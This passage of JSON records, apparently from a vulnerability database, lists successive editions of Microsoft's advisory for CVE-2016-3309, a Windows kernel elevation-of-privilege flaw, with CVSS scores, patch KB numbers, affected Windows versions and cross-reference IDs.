Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails\nto properly handle objects in memory. An attacker who successfully exploited\nthis vulnerability could run arbitrary code in kernel mode. An attacker could\nthen install programs; view, change, or delete data; or create new accounts\nwith full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the\nsystem. An attacker could then run a specially crafted application to take\ncontrol of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel\nhandles objects in memory.\n\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {}, "cvss3": {}, "href": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2019-09-02T00:41:03", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"modified": "2019-09-02T00:41:03", "references": [{"idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"], "type": "exploitpack"}, {"idList": ["KB3178466"], "type": "mskb"}, {"idList": ["OPENVAS:1361412562310808784"], "type": "openvas"}, {"idList": ["EDB-ID:42960"], "type": "exploitdb"}, {"idList": ["CVE-2016-3309"], "type": "cve"}, {"idList": ["ZDI-16-449"], "type": "zdi"}, {"idList": ["SMNTC-92297"], "type": "symantec"}, {"idList": ["SMB_NT_MS16-098.NASL"], "type": "nessus"}, {"idList": ["KLA10856"], "type": "kaspersky"}, {"idList": ["1337DAY-ID-28749"], "type": "zdt"}], "rev": 2}, "score": {"modified": "2019-09-02T00:41:03", "rev": 2, "value": 6.7, "vector": "NONE"}}, "objectVersion": "1.4", "kbList": ["KB3163912", "KB3176495", "KB3177725", "KB3176493", "KBNone", "KB3168965", "KB3172985", "KB3176492"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows 8.1 for 32-bit systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2012 R2 (Server Core installation)"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows 7 for x64-based Systems Service Pack 1"}, {"kb": "KB3176495", "kbSupersedence": "KBNone", "msplatform": "", "name": "Windows 10 Version 1607 for x64-based Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows 7 for 32-bit Systems Service Pack 1"}, {"kb": "KB3176492", "kbSupersedence": "KB3163912", "msplatform": "", "name": "Windows 10 for 32-bit Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows RT 8.1"}, {"kb": "KB3176493", "kbSupersedence": "KB3172985", "msplatform": "", "name": "Windows 10 Version 1511 for 32-bit Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Vista Service Pack 2"}, {"kb": "KB3176493", "kbSupersedence": "KB3172985", "msplatform": "", "name": "Windows 10 Version 1511 for x64-based Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for x64-based Systems Service Pack 2"}, {"kb": "KB3176495", "kbSupersedence": "KBNone", "msplatform": "", "name": "Windows 10 Version 1607 for 32-bit Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for 32-bit Systems Service Pack 2"}, {"kb": "KB3176492", "kbSupersedence": "KB3163912", "msplatform": "", "name": "Windows 10 for x64-based Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2012"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2012 (Server Core installation)"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows 8.1 for x64-based systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Vista x64 Edition Service Pack 2"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2012 R2"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)"}], "vendorCvss": {}}, "lastseen": "2019-09-02T00:41:03", "differentElements": ["description"], "edition": 1}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "d15a81bf5610b4d68823d113abdc5f8a", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {}, "cvss3": {}, "href": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2020-08-07T11:48:22", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2020-08-07T11:48:22", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2020-08-07T11:48:22", "rev": 2}}, "objectVersion": "1.4", "kbList": ["KB3163912", "KB3176495", "KB3177725", "KB3176493", "KBNone", "KB3168965", "KB3172985", "KB3176492"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows 8.1 for 32-bit systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2012 R2 (Server Core installation)"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows 7 for x64-based Systems Service Pack 1"}, {"kb": "KB3176495", "kbSupersedence": "KBNone", "msplatform": "", "name": "Windows 10 Version 1607 for x64-based Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows 7 for 32-bit Systems Service Pack 1"}, {"kb": "KB3176492", "kbSupersedence": "KB3163912", "msplatform": "", "name": "Windows 10 for 32-bit Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows RT 8.1"}, {"kb": "KB3176493", "kbSupersedence": "KB3172985", "msplatform": "", "name": "Windows 10 Version 1511 for 32-bit Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Vista Service Pack 2"}, {"kb": "KB3176493", "kbSupersedence": "KB3172985", "msplatform": "", "name": "Windows 10 Version 1511 for x64-based Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for x64-based Systems Service Pack 2"}, {"kb": "KB3176495", "kbSupersedence": "KBNone", "msplatform": "", "name": "Windows 10 Version 1607 for 32-bit Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for 32-bit Systems Service Pack 2"}, {"kb": "KB3176492", "kbSupersedence": "KB3163912", "msplatform": "", "name": "Windows 10 for x64-based Systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2012"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2012 (Server Core installation)"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows 8.1 for x64-based systems"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Vista x64 Edition Service Pack 2"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2012 R2"}, {"kb": "KB3177725", "kbSupersedence": "KB3168965", "msplatform": "", "name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)"}], "vendorCvss": {}}, "lastseen": "2020-08-07T11:48:22", "differentElements": ["href", "kbList", "msAffectedSoftware"], "edition": 2}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "819bb2a4e3f51187f8e83440b3e58c5a", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {}, "cvss3": {}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-03-18T19:18:01", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-03-18T19:18:01", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-03-18T19:18:01", "rev": 2}}, "objectVersion": "1.5", "kbList": ["KB3168965", "KB3176493", "KB3177725", "KB3172985", "KB3176492", "KB3176495", "KB3163912"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-03-18T19:18:01", "differentElements": ["cvss2", "cvss3"], "edition": 3}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-07-28T20:07:08", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-07-28T20:07:08", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-07-28T20:07:08", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3172985", "KB3177725", "KB3176493", "KB3168965", "KB3176495", "KB3163912", "KB3176492"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-07-28T20:07:08", "differentElements": ["msAffectedSoftware"], "edition": 4}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-03T18:47:11", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-03T18:47:11", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-03T18:47:11", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3176492", "KB3176495", "KB3177725", "KB3176493", "KB3163912", "KB3172985", "KB3168965"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", 